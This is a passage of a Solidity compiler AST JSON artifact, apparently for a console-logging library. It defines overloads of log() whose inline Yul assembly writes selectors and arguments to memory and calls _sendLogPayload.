2","typeString":"bytes32"}},"visibility":"internal"}],"id":37281,"nodeType":"VariableDeclarationStatement","src":"108385:10:22"},{"AST":{"nativeSrc":"108414:375:22","nodeType":"YulBlock","src":"108414:375:22","statements":[{"nativeSrc":"108428:17:22","nodeType":"YulAssignment","src":"108428:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"108440:4:22","nodeType":"YulLiteral","src":"108440:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"108434:5:22","nodeType":"YulIdentifier","src":"108434:5:22"},"nativeSrc":"108434:11:22","nodeType":"YulFunctionCall","src":"108434:11:22"},"variableNames":[{"name":"m0","nativeSrc":"108428:2:22","nodeType":"YulIdentifier","src":"108428:2:22"}]},{"nativeSrc":"108458:17:22","nodeType":"YulAssignment","src":"108458:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"108470:4:22","nodeType":"YulLiteral","src":"108470:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"108464:5:22","nodeType":"YulIdentifier","src":"108464:5:22"},"nativeSrc":"108464:11:22","nodeType":"YulFunctionCall","src":"108464:11:22"},"variableNames":[{"name":"m1","nativeSrc":"108458:2:22","nodeType":"YulIdentifier","src":"108458:2:22"}]},{"nativeSrc":"108488:17:22","nodeType":"YulAssignment","src":"108488:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"108500:4:22","nodeType":"YulLiteral","src":"108500:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"108494:5:22","nodeType":"YulIdentifier","src":"108494:5:22"},"nativeSrc":"108494:11:22","nodeType":"YulFunctionCall","src":"108494:11:22"},"variableNames":[{"name":"m2","nativeSrc":"108488:2:22","nodeType":"YulIdentifier","src":"108488:2:22"}]},{"nativeSrc":"108518:17:22","nodeType":"YulAssignment","src":"108518:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"108530:4:22","nodeType":"YulLiteral","src":"108530:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"108524:5:22","nodeType":"YulIdentifier","src":"108524:5:22"},"nativeSrc":"108524:11:22","nodeType":"YulFunctionCall","src":"108524:11:22"},"variableNames":[{"name":"m3","nativeSrc":"108518:2:22","nodeType":"YulIdentifier","src":"108518:2:22"}]},{"nativeSrc":"108548:17:22","nodeType":"YulAssignment","src":"108548:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"108560:4:22","nodeType":"YulLiteral","src":"108560:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"108554:5:22","nodeType":"YulIdentifier","src":"108554:5:22"},"nativeSrc":"108554:11:22","nodeType":"YulFunctionCall","src":"108554:11:22"},"variableNames":[{"name":"m4","nativeSrc":"108548:2:22","nodeType":"YulIdentifier","src":"108548:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108646:4:22","nodeType":"YulLiteral","src":"108646:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"108652:10:22","nodeType":"YulLiteral","src":"108652:10:22","type":"","value":"0xc4643e20"}],"functionName":{"name":"mstore","nativeSrc":"108639:6:22","nodeType":"YulIdentifier","src":"108639:6:22"},"nativeSrc":"108639:24:22","nodeType":"YulFunctionCall","src":"108639:24:22"},"nativeSrc":"108639:24:22","nodeType":"YulExpressionStatement","src":"108639:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108683:4:22","nodeType":"YulLiteral","src":"108683:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"108689:2:22","nodeType":"YulIdentifier","src":"108689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108676:6:22","nodeType":"YulIdentifier","src":"108676:6:22"},"nativeSrc":"108676:16:22","nodeType":"YulFunctionCall","src":"108676:16:22"},"nativeSrc":"108676:16:22","nodeType":"YulExpressionStatement","src":"108676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108712:4:22","nodeType":"YulLiteral","src":"108712:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"108718:2:22","nodeType":"YulIdentifier","src":"108718:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108705:6:22","nodeType":"YulIdentifier","src":"108705:6:22"},"nativeSrc":"108705:16:22","nodeType":"YulFunctionCall","src":"108705:16:22"},"nativeSrc":"108705:16:22","nodeType":"YulExpressionStatement","src":"108705:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108741:4:22","nodeType":"YulLiteral","src":"108741:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"108747:2:22","nodeType":"YulIdentifier","src":"108747:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108734:6:22","nodeType":"YulIdentifier","src":"108734:6:22"},"nativeSrc":"108734:16:22","nodeType":"YulFunctionCall","src":"108734:16:22"},"nativeSrc":"108734:16:22","nodeType":"YulExpressionStatement","src":"108734:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108770:4:22","nodeType":"YulLiteral","src":"108770:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"108776:2:22","nodeType":"YulIdentifier","src":"108776:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108763:6:22","nodeType":"YulIdentifier","src":"108763:6:22"},"nativeSrc":"108763:16:22","nodeType":"YulFunctionCall","src":"108763:16:22"},"nativeSrc":"108763:16:22","nodeType":"YulExpressionStatement","src":"108763:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37268,"isOffset":false,"isSlot":false,"src":"108428:2:22","valueSize":1},{"declaration":37271,"isOffset":false,"isSlot":false,"src":"108458:2:22","valueSize":1},{"declaration":37274,"isOffset":false,"isSlot":false,"src":"108488:2:22","valueSize":1},{"declaration":37277,"isOffset":false,"isSlot":false,"src":"108518:2:22","valueSize":1},{"declaration":37280,"isOffset":false,"isSlot":false,"src":"108548:2:22","valueSize":1},{"declaration":37258,"isOffset":false,"isSlot":false,"src":"108689:2:22","valueSize":1},{"declaration":37260,"isOffset":false,"isSlot":false,"src":"108718:2:22","valueSize":1},{"declaration":37262,"isOffset":false,"isSlot":false,"src":"108747:2:22","valueSize":1},{"declaration":37264,"isOffset":false,"isSlot":false,"src":"108776:2:22","valueSize":1}],"id":37282,"nodeType":"InlineAssembly","src":"108405:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37284,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"108814:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37285,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"108820:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37283,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"108798:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37286,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"108798:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37287,"nodeType":"ExpressionStatement","src":"108798:27:22"},{"AST":{"nativeSrc":"108844:156:22","nodeType":"YulBlock","src":"108844:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"108865:4:22","nodeType":"YulLiteral","src":"108865:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"108871:2:22","nodeType":"YulIdentifier","src":"108871:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108858:6:22","nodeType":"YulIdentifier","src":"108858:6:22"},"nativeSrc":"108858:16:22","nodeType":"YulFunctionCall","src":"108858:16:22"},"nativeSrc":"108858:16:22","nodeType":"YulExpressionStatement","src":"108858:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108894:4:22","nodeType":"YulLiteral","src":"108894:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"108900:2:22","nodeType":"YulIdentifier","src":"108900:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108887:6:22","nodeType":"YulIdentifier","src":"108887:6:22"},"nativeSrc":"108887:16:22","nodeType":"YulFunctionCall","src":"108887:16:22"},"nativeSrc":"108887:16:22","nodeType":"YulExpressionStatement","src":"108887:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108923:4:22","nodeType":"YulLiteral","src":"108923:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"108929:2:22","nodeType":"YulIdentifier","src":"108929:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108916:6:22","nodeType":"YulIdentifier","src":"108916:6:22"},"nativeSrc":"108916:16:22","nodeType":"YulFunctionCall","src":"108916:16:22"},"nativeSrc":"108916:16:22","nodeType":"YulExpressionStatement","src":"108916:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108952:4:22","nodeType":"YulLiteral","src":"108952:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"108958:2:22","nodeType":"YulIdentifier","src":"108958:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108945:6:22","nodeType":"YulIdentifier","src":"108945:6:22"},"nativeSrc":"108945:16:22","nodeType":"YulFunctionCall","src":"108945:16:22"},"nativeSrc":"108945:16:22","nodeType":"YulExpressionStatement","src":"108945:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"108981:4:22","nodeType":"YulLiteral","src":"108981:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"108987:2:22","nodeType":"YulIdentifier","src":"108987:2:22"}],"functionName":{"name":"mstore","nativeSrc":"108974:6:22","nodeType":"YulIdentifier","src":"108974:6:22"},"nativeSrc":"108974:16:22","nodeType":"YulFunctionCall","src":"108974:16:22"},"nativeSrc":"108974:16:22","nodeType":"YulExpressionStatement","src":"108974:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37268,"isOffset":false,"isSlot":false,"src":"108871:2:22","valueSize":1},{"declaration":37271,"isOffset":false,"isSlot":false,"src":"108900:2:22","valueSize":1},{"declaration":37274,"isOffset":false,"isSlot":false,"src":"108929:2:22","valueSize":1},{"declaration":37277,"isOffset":false,"isSlot":false,"src":"108958:2:22","valueSize":1},{"declaration":37280,"isOffset":false,"isSlot":false,"src":"108987:2:22","valueSize":1}],"id":37288,"nodeType":"InlineAssembly","src":"108835:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"108235:3:22","parameters":{"id":37265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37258,"mutability":"mutable","name":"p0","nameLocation":"108247:2:22","nodeType":"VariableDeclaration","scope":37290,"src":"108239:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37257,"name":"address","nodeType":"ElementaryTypeName","src":"108239:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37260,"mutability":"mutable","name":"p1","nameLocation":"108256:2:22","nodeType":"VariableDeclaration","scope":37290,"src":"108251:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37259,"name":"bool","nodeType":"ElementaryTypeName","src":"108251:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37262,"mutability":"mutable","name":"p2","nameLocation":"108268:2:22","nodeType":"VariableDeclaration","scope":37290,"src":"108260:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37261,"name":"uint256","nodeType":"ElementaryTypeName","src":"108260:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37264,"mutability":"mutable","name":"p3","nameLocation":"108277:2:22","nodeType":"VariableDeclaration","scope":37290,"src":"108272:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37263,"name":"bool","nodeType":"ElementaryTypeName","src":"108272:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"108238:42:22"},"returnParameters":{"id":37266,"nodeType":"ParameterList","parameters":[],"src":"108295:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37324,"nodeType":"FunctionDefinition","src":"109012:786:22","nodes":[],"body":{"id":37323,"nodeType":"Block","src":"109084:714:22","nodes":[],"statements":[{"assignments":[37302],"declarations":[{"constant":false,"id":37302,"mutability":"mutable","name":"m0","nameLocation":"109102:2:22","nodeType":"VariableDeclaration","scope":37323,"src":"109094:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37301,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109094:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37303,"nodeType":"VariableDeclarationStatement","src":"109094:10:22"},{"assignments":[37305],"declarations":[{"constant":false,"id":37305,"mutability":"mutable","name":"m1","nameLocation":"109122:2:22","nodeType":"VariableDeclaration","scope":37323,"src":"109114:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37304,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109114:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37306,"nodeType":"VariableDeclarationStatement","src":"109114:10:22"},{"assignments":[37308],"declarations":[{"constant":false,"id":37308,"mutability":"mutable","name":"m2","nameLocation":"109142:2:22","nodeType":"VariableDeclaration","scope":37323,"src":"109134:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37307,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109134:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37309,"nodeType":"VariableDeclarationStatement","src":"109134:10:22"},{"assignments":[37311],"declarations":[{"constant":false,"id":37311,"mutability":"mutable","name":"m3","nameLocation":"109162:2:22","nodeType":"VariableDeclaration","scope":37323,"src":"109154:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37310,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109154:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37312,"nodeType":"VariableDeclarationStatement","src":"109154:10:22"},{"assignments":[37314],"declarations":[{"constant":false,"id":37314,"mutability":"mutable","name":"m4","nameLocation":"109182:2:22","nodeType":"VariableDeclaration","scope":37323,"src":"109174:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37313,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109174:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37315,"nodeType":"VariableDeclarationStatement","src":"109174:10:22"},{"AST":{"nativeSrc":"109203:378:22","nodeType":"YulBlock","src":"109203:378:22","statements":[{"nativeSrc":"109217:17:22","nodeType":"YulAssignment","src":"109217:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"109229:4:22","nodeType":"YulLiteral","src":"109229:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"109223:5:22","nodeType":"YulIdentifier","src":"109223:5:22"},"nativeSrc":"109223:11:22","nodeType":"YulFunctionCall","src":"109223:11:22"},"variableNames":[{"name":"m0","nativeSrc":"109217:2:22","nodeType":"YulIdentifier","src":"109217:2:22"}]},{"nativeSrc":"109247:17:22","nodeType":"YulAssignment","src":"109247:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"109259:4:22","nodeType":"YulLiteral","src":"109259:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"109253:5:22","nodeType":"YulIdentifier","src":"109253:5:22"},"nativeSrc":"109253:11:22","nodeType":"YulFunctionCall","src":"109253:11:22"},"variableNames":[{"name":"m1","nativeSrc":"109247:2:22","nodeType":"YulIdentifier","src":"109247:2:22"}]},{"nativeSrc":"109277:17:22","nodeType":"YulAssignment","src":"109277:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"109289:4:22","nodeType":"YulLiteral","src":"109289:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"109283:5:22","nodeType":"YulIdentifier","src":"109283:5:22"},"nativeSrc":"109283:11:22","nodeType":"YulFunctionCall","src":"109283:11:22"},"variableNames":[{"name":"m2","nativeSrc":"109277:2:22","nodeType":"YulIdentifier","src":"109277:2:22"}]},{"nativeSrc":"109307:17:22","nodeType":"YulAssignment","src":"109307:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"109319:4:22","nodeType":"YulLiteral","src":"109319:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"109313:5:22","nodeType":"YulIdentifier","src":"109313:5:22"},"nativeSrc":"109313:11:22","nodeType":"YulFunctionCall","src":"109313:11:22"},"variableNames":[{"name":"m3","nativeSrc":"109307:2:22","nodeType":"YulIdentifier","src":"109307:2:22"}]},{"nativeSrc":"109337:17:22","nodeType":"YulAssignment","src":"109337:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"109349:4:22","nodeType":"YulLiteral","src":"109349:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"109343:5:22","nodeType":"YulIdentifier","src":"109343:5:22"},"nativeSrc":"109343:11:22","nodeType":"YulFunctionCall","src":"109343:11:22"},"variableNames":[{"name":"m4","nativeSrc":"109337:2:22","nodeType":"YulIdentifier","src":"109337:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109438:4:22","nodeType":"YulLiteral","src":"109438:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"109444:10:22","nodeType":"YulLiteral","src":"109444:10:22","type":"","value":"0x386ff5f4"}],"functionName":{"name":"mstore","nativeSrc":"109431:6:22","nodeType":"YulIdentifier","src":"109431:6:22"},"nativeSrc":"109431:24:22","nodeType":"YulFunctionCall","src":"109431:24:22"},"nativeSrc":"109431:24:22","nodeType":"YulExpressionStatement","src":"109431:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109475:4:22","nodeType":"YulLiteral","src":"109475:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"109481:2:22","nodeType":"YulIdentifier","src":"109481:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109468:6:22","nodeType":"YulIdentifier","src":"109468:6:22"},"nativeSrc":"109468:16:22","nodeType":"YulFunctionCall","src":"109468:16:22"},"nativeSrc":"109468:16:22","nodeType":"YulExpressionStatement","src":"109468:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109504:4:22","nodeType":"YulLiteral","src":"109504:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"109510:2:22","nodeType":"YulIdentifier","src":"109510:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109497:6:22","nodeType":"YulIdentifier","src":"109497:6:22"},"nativeSrc":"109497:16:22","nodeType":"YulFunctionCall","src":"109497:16:22"},"nativeSrc":"109497:16:22","nodeType":"YulExpressionStatement","src":"109497:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109533:4:22","nodeType":"YulLiteral","src":"109533:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"109539:2:22","nodeType":"YulIdentifier","src":"109539:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109526:6:22","nodeType":"YulIdentifier","src":"109526:6:22"},"nativeSrc":"109526:16:22","nodeType":"YulFunctionCall","src":"109526:16:22"},"nativeSrc":"109526:16:22","nodeType":"YulExpressionStatement","src":"109526:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109562:4:22","nodeType":"YulLiteral","src":"109562:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"109568:2:22","nodeType":"YulIdentifier","src":"109568:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109555:6:22","nodeType":"YulIdentifier","src":"109555:6:22"},"nativeSrc":"109555:16:22","nodeType":"YulFunctionCall","src":"109555:16:22"},"nativeSrc":"109555:16:22","nodeType":"YulExpressionStatement","src":"109555:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37302,"isOffset":false,"isSlot":false,"src":"109217:2:22","valueSize":1},{"declaration":37305,"isOffset":false,"isSlot":false,"src":"109247:2:22","valueSize":1},{"declaration":37308,"isOffset":false,"isSlot":false,"src":"109277:2:22","valueSize":1},{"declaration":37311,"isOffset":false,"isSlot":false,"src":"109307:2:22","valueSize":1},{"declaration":37314,"isOffset":false,"isSlot":false,"src":"109337:2:22","valueSize":1},{"declaration":37292,"isOffset":false,"isSlot":false,"src":"109481:2:22","valueSize":1},{"declaration":37294,"isOffset":false,"isSlot":false,"src":"109510:2:22","valueSize":1},{"declaration":37296,"isOffset":false,"isSlot":false,"src":"109539:2:22","valueSize":1},{"declaration":37298,"isOffset":false,"isSlot":false,"src":"109568:2:22","valueSize":1}],"id":37316,"nodeType":"InlineAssembly","src":"109194:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37318,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"109606:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37319,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"109612:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37317,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"109590:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37320,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"109590:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37321,"nodeType":"ExpressionStatement","src":"109590:27:22"},{"AST":{"nativeSrc":"109636:156:22","nodeType":"YulBlock","src":"109636:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"109657:4:22","nodeType":"YulLiteral","src":"109657:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"109663:2:22","nodeType":"YulIdentifier","src":"109663:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109650:6:22","nodeType":"YulIdentifier","src":"109650:6:22"},"nativeSrc":"109650:16:22","nodeType":"YulFunctionCall","src":"109650:16:22"},"nativeSrc":"109650:16:22","nodeType":"YulExpressionStatement","src":"109650:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109686:4:22","nodeType":"YulLiteral","src":"109686:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"109692:2:22","nodeType":"YulIdentifier","src":"109692:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109679:6:22","nodeType":"YulIdentifier","src":"109679:6:22"},"nativeSrc":"109679:16:22","nodeType":"YulFunctionCall","src":"109679:16:22"},"nativeSrc":"109679:16:22","nodeType":"YulExpressionStatement","src":"109679:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109715:4:22","nodeType":"YulLiteral","src":"109715:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"109721:2:22","nodeType":"YulIdentifier","src":"109721:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109708:6:22","nodeType":"YulIdentifier","src":"109708:6:22"},"nativeSrc":"109708:16:22","nodeType":"YulFunctionCall","src":"109708:16:22"},"nativeSrc":"109708:16:22","nodeType":"YulExpressionStatement","src":"109708:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109744:4:22","nodeType":"YulLiteral","src":"109744:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"109750:2:22","nodeType":"YulIdentifier","src":"109750:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109737:6:22","nodeType":"YulIdentifier","src":"109737:6:22"},"nativeSrc":"109737:16:22","nodeType":"YulFunctionCall","src":"109737:16:22"},"nativeSrc":"109737:16:22","nodeType":"YulExpressionStatement","src":"109737:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"109773:4:22","nodeType":"YulLiteral","src":"109773:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"109779:2:22","nodeType":"YulIdentifier","src":"109779:2:22"}],"functionName":{"name":"mstore","nativeSrc":"109766:6:22","nodeType":"YulIdentifier","src":"109766:6:22"},"nativeSrc":"109766:16:22","nodeType":"YulFunctionCall","src":"109766:16:22"},"nativeSrc":"109766:16:22","nodeType":"YulExpressionStatement","src":"109766:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37302,"isOffset":false,"isSlot":false,"src":"109663:2:22","valueSize":1},{"declaration":37305,"isOffset":false,"isSlot":false,"src":"109692:2:22","valueSize":1},{"declaration":37308,"isOffset":false,"isSlot":false,"src":"109721:2:22","valueSize":1},{"declaration":37311,"isOffset":false,"isSlot":false,"src":"109750:2:22","valueSize":1},{"declaration":37314,"isOffset":false,"isSlot":false,"src":"109779:2:22","valueSize":1}],"id":37322,"nodeType":"InlineAssembly","src":"109627:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"109021:3:22","parameters":{"id":37299,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37292,"mutability":"mutable","name":"p0","nameLocation":"109033:2:22","nodeType":"VariableDeclaration","scope":37324,"src":"109025:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37291,"name":"address","nodeType":"ElementaryTypeName","src":"109025:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37294,"mutability":"mutable","name":"p1","nameLocation":"109042:2:22","nodeType":"VariableDeclaration","scope":37324,"src":"109037:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37293,"name":"bool","nodeType":"ElementaryTypeName","src":"109037:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":37296,"mutability":"mutable","name":"p2","nameLocation":"109054:2:22","nodeType":"VariableDeclaration","scope":37324,"src":"109046:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37295,"name":"uint256","nodeType":"ElementaryTypeName","src":"109046:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37298,"mutability":"mutable","name":"p3","nameLocation":"109066:2:22","nodeType":"VariableDeclaration","scope":37324,"src":"109058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37297,"name":"uint256","nodeType":"ElementaryTypeName","src":"109058:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"109024:45:22"},"returnParameters":{"id":37300,"nodeType":"ParameterList","parameters":[],"src":"109084:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37364,"nodeType":"FunctionDefinition","src":"109804:1334:22","nodes":[],"body":{"id":37363,"nodeType":"Block","src":"109876:1262:22","nodes":[],"statements":[{"assignments":[37336],"declarations":[{"constant":false,"id":37336,"mutability":"mutable","name":"m0","nameLocation":"109894:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109886:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37335,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109886:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37337,"nodeType":"VariableDeclarationStatement","src":"109886:10:22"},{"assignments":[37339],"declarations":[{"constant":false,"id":37339,"mutability":"mutable","name":"m1","nameLocation":"109914:2:22","nodeType":"VariableDeclaration","scope":37363,"src":"109906:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37338,"name":"bytes32","nodeType":"ElementaryTypeName","src":"109906:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37340,"nodeType":"VariableDeclarationStatement","src":"109906:10:22"},{"assignments":[37342],"declarations":[{"constant":false,"id":37342,"mutab